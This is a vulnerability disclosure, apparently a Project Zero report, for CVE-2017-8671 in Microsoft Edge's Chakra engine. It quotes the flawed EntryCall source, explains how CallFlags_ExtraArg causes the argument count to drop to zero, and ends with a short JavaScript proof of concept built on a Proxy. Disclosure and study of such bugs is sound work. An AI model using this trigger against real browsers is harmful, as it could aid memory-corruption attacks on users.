Microsoft Edge Chakra JavascriptFunction::EntryCall Mishandled CallInfo

` Microsoft Edge: Chakra: JavascriptFunction::EntryCall doesn't handle CallInfo properly   
  
CVE-2017-8671  
  
  
Here's the method.  
Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)  
{  
PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);  
  
RUNTIME_ARGUMENTS(args, callInfo);  
ScriptContext* scriptContext = function->GetScriptContext();  
  
Assert(!(callInfo.Flags & CallFlags_New));  
  
///  
/// Check Argument[0] has internal [[Call]] property  
/// If not, throw TypeError  
///  
if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))  
{  
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));  
}  
  
RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);  
if (args.Info.Count == 1)  
{  
args.Values[0] = scriptContext->GetLibrary()->GetUndefined();  
}  
else  
{  
///  
/// Remove function object from the arguments and pass the rest  
///  
for (uint i = 0; i < args.Info.Count - 1; ++i)  
{  
args.Values[i] = args.Values[i + 1];  
}  
args.Info.Count = args.Info.Count - 1;  
}  
  
///  
/// Call the [[Call]] method on the function object  
///  
return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);  
}  
  
Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater.   
  
But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.  
  
PoC:  
function f() {  
print(arguments);  
}  
  
let call = new Proxy(Function.prototype.call, {}); // proxy calls set the flag  
call.call(f);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`